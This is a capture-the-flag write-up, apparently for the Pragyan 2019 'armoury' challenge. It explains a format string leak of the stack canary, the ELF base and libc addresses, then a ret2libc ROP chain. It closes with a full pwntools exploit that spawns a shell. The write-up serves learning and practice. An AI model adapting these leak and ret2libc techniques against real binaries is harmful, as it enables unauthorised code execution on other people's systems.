0. Some pre-requisites:
- It's nice to have gdb-peda and pwntools.
- Knowledge on buffer overflow and ret2libc.
- Knowledge of 64-bit environments and its difference from 32-bit environments (optional)
- "scanf will quite happily read null bytes. it only stops at white space - strcpy/strcat are the functions you should worry about null bytes" -brx
P.S: How to set ASLR on on gdb (turns off every instance):
set disable-randomization off
This writeup is based on Naivenom's writeup from the CTF which can be found here.
1. Examining the program
When we boot up the program, we can clearly see the program has a format string bug:
chanbin_lee123@linux:~$ ./armoury
*******Rifle Database**************
Enter the name of Rifle to get info:
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
----------------DATA-------------------
0x7fa5447c5683.0x7fa5447c6760.0x7fa544506970.0x7fa5449e7440.(nil).0x1.0x1dbcdbced.0x252e70252e702500.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0xc8316ab63d007025.0x5622dbcdbca0:
Sorry... We dont have any information about %p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
---------------------------------------
Enter the name of Rifle to get info:
^C
As per the bolded text, we can see that there are some addresses leaking (we will observe this later), and then further, the material in the stack highlighted in red. We can observe that the stack information is leaked from the 9th argument (after 9 "%p"s).
Let's check the security on the program.
chanbin_lee123@linux:~$ gdb -q armoury
Reading symbols from armoury...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
Canary (Stack Smashing Protector, Cookie): A null-byte terminated string that is located before the saved stack frame pointer (RBP) and return address (RET). This is a value that the program compares to its original value (__stack_chk_fail) before it returns. If this value is overwritten because of a buffer overflow vulnerability, the program will realize that it will not be safe to continue and will terminate the program.
NX: Non-executable bit - you will not be able to execute any kind of shellcode by placing them on the stack.
ELF: Executables and Linkable Format
PIE: Position Independent Executable - All the sections of the program are randomly loaded into memory. (This includes the .data and .code section of the program). But, since the PIE only changes the executable's base address, you will be able to see that if you execute the command "objdump -d <ELF executable>" the output will only give offsets. And these offsets are static!
ASLR (non-PIE): Changes the position of stack, heap, library (but the main executable will get loaded in the same address.)
RELRO: Basically a full RELRO means that you won't be able to do anything like a GOT overwrite.
2. Gathering materials
What we need:
- Leaked canary
- Gadget (pop rdi; ret)
- Three libc addresses:
- base of libc
- (offset to) system()
- (offset to) "/bin/sh"
2.1. Getting the Canary
So, we already know from the first format string bug, that we are able to access information on the stack.
I first put a breakpoint in main (using the b *main command) and ran the program, giving "BBBB" as the input.
At the breakpoint, we can investigate the value of $rsp to see what we have.
As you may observe, we have BBBB (0x42424242) on the stack. We can also see the canary (ending with a null byte), the saved RBP, and return address, all highlighted above.
The canary is located right before the stack frame pointer. As we know that the stack is leaked after 9 %ps, we can conclude that the canary is the 13th argument, the sfp is 14th, and the return address is the 15th argument we can receive from our format string.
2.2. Getting the ELF base address
When we observe the saved RBP, we can see that if we null the last three bytes out, we will be able to get the base ELF address.
This will be useful to us when we obtain our gadget as offsets from the base address.
2.3. Getting the LIBC base address
Breakpoint at giveInfo to set a stop, so that we can observe the registers and addresses. (b giveInfo)
Run the program. (r)
There we can see the address we get from executing scanf("%3$p"); (third argument of the output)
If we take a look at our third argument that gets leaked, we can use that leaked address to get the offset to our libc as shown above. We need grab a few more values too.
gdb-peda$ p 0x7ffff7b15970-0x00007ffff7a3a000
$1 = 0xdb970
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0x7ffff7a79480 <__libc_system>
gdb-peda$ p 0x7ffff7a79480 -0x00007ffff7a3a000
$3 = 0x3f480
We see that:
%3$p: Address of <__write_nocancel+7>
Offset to libc: 0xdb970
Offset from libc to system: 0x3f480
--> %3$p - offset to libc + offset from libc to system = address of system (in libc)
2.4. Address of "/bin/sh"
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7b9bc19 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$ p 0x7ffff7b9bc19 -0x00007ffff7a3a000
$4 = 0x161c19
2.5. ROP Gadgets (pop rdi; ret)
chanbin_lee123@instance-2:~$ ROPgadget --binary armoury
Gadgets information
============================================================
0x0000000000000d03 : pop rdi ; ret
3. POC
BUFFER [24]
CANARY [8]
DUMMY [8]
POP RDI; RET [8]
ADDRESS OF "/BIN/SH" [8]
ADDRESS OF SYSTEM() [8]
(Basic ret2libc structure)
4. Exploit Rundown
Full exploit can be found in the next section.
I'll try my best to explain everything. T_T Please ask if you don't understand something.
1 2 3 4 5 | payload = "" r.recvuntil("Enter the name of Rifle to get info:\n") r.send("%3$p.%13$p.%14$p\n") # libc address, canary, saved rbp | cs |
We want the 3rd, 13th and 14th arguments so we leak those.
1 2 3 4 5 6 | leak = r.recvuntil(":").replace(":", "").split(".") leaked_libc = int(leak[0], 16) offset_to_libc = 0xdb970 offset_to_system = 0x3f480 offset_to_binsh = 0x161c19 | cs |
Once we receive the leaks, we split the string regarding '.'
leak[0] = 3rd argument, leak[1] = canary, leak[2] = sfp
I also save the offsets I have.
1 2 3 | libc_addr = leaked_libc - offset_to_libc system_addr = libc_addr + offset_to_system binsh_addr = libc_addr + offset_to_binsh | cs |
1 2 3 4 5 6 | canary = int(leak[1], 16) leaked_elf = int(leak[2], 16) elf_addr = leaked_elf - (leaked_elf & 0xfff) offset_pop_rdi = 0xd03 pop_rdi = elf_addr + offset_pop_rdi | cs |
I also cast the canary to int here, and calculate the ELF base address.
If you do a &0xfff operation, you get the last three bytes of a number - so we can just subtract this from the original address and we get the base address.
1 2 3 4 5 6 7 | payload += "A"*24 # Fill up the buffer payload += p64(canary) # Canary payload += "B"*8 # Overwrite saved RBP payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(system_addr) payload += "\n" | cs |
As written above (POC) this is the generic ret2libc payload. Since the argument to system() is passed on through RDI we load the address of /bin/sh on RDI (using pop rdi) and call system().
5. Full Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | from pwn import * r = process("./armoury") payload = "" r.recvuntil("Enter the name of Rifle to get info:\n") r.send("%3$p.%13$p.%14$p\n") # libc address, canary, saved rbp r.recvuntil("----------------DATA-------------------\n") leak = r.recvuntil(":").replace(":", "").split(".") leaked_libc = int(leak[0], 16) offset_to_libc = 0xdb970 offset_to_system = 0x3f480 offset_to_binsh = 0x161c19 libc_addr = leaked_libc - offset_to_libc system_addr = libc_addr + offset_to_system binsh_addr = libc_addr + offset_to_binsh print "libc address: " + hex(libc_addr) print "system address: " + hex(system_addr) print "binsh address: " + hex(binsh_addr) canary = int(leak[1], 16) leaked_elf = int(leak[2], 16) elf_addr = leaked_elf - (leaked_elf & 0xfff) print "canary: " + hex(canary) print "elf address: " + hex(elf_addr) offset_pop_rdi = 0xd03 pop_rdi = elf_addr + offset_pop_rdi payload += "A"*24 # Fill up the buffer payload += p64(canary) # Canary payload += "B"*8 # Overwrite saved RBP payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(system_addr) payload += "\n" r.recvuntil("Enter the name of Rifle to get info:\n") r.send("AAAA\n") r.recvuntil("Would you like to give us some feedback:\n") r.send(payload) r.interactive() | cs |
'CTF > Writeup' 카테고리의 다른 글
Google Code Jam 2019 Qualification Rounds (1) | 2019.04.08 |
---|---|
[Pragyan 2019] armoury [KR] (0) | 2019.03.22 |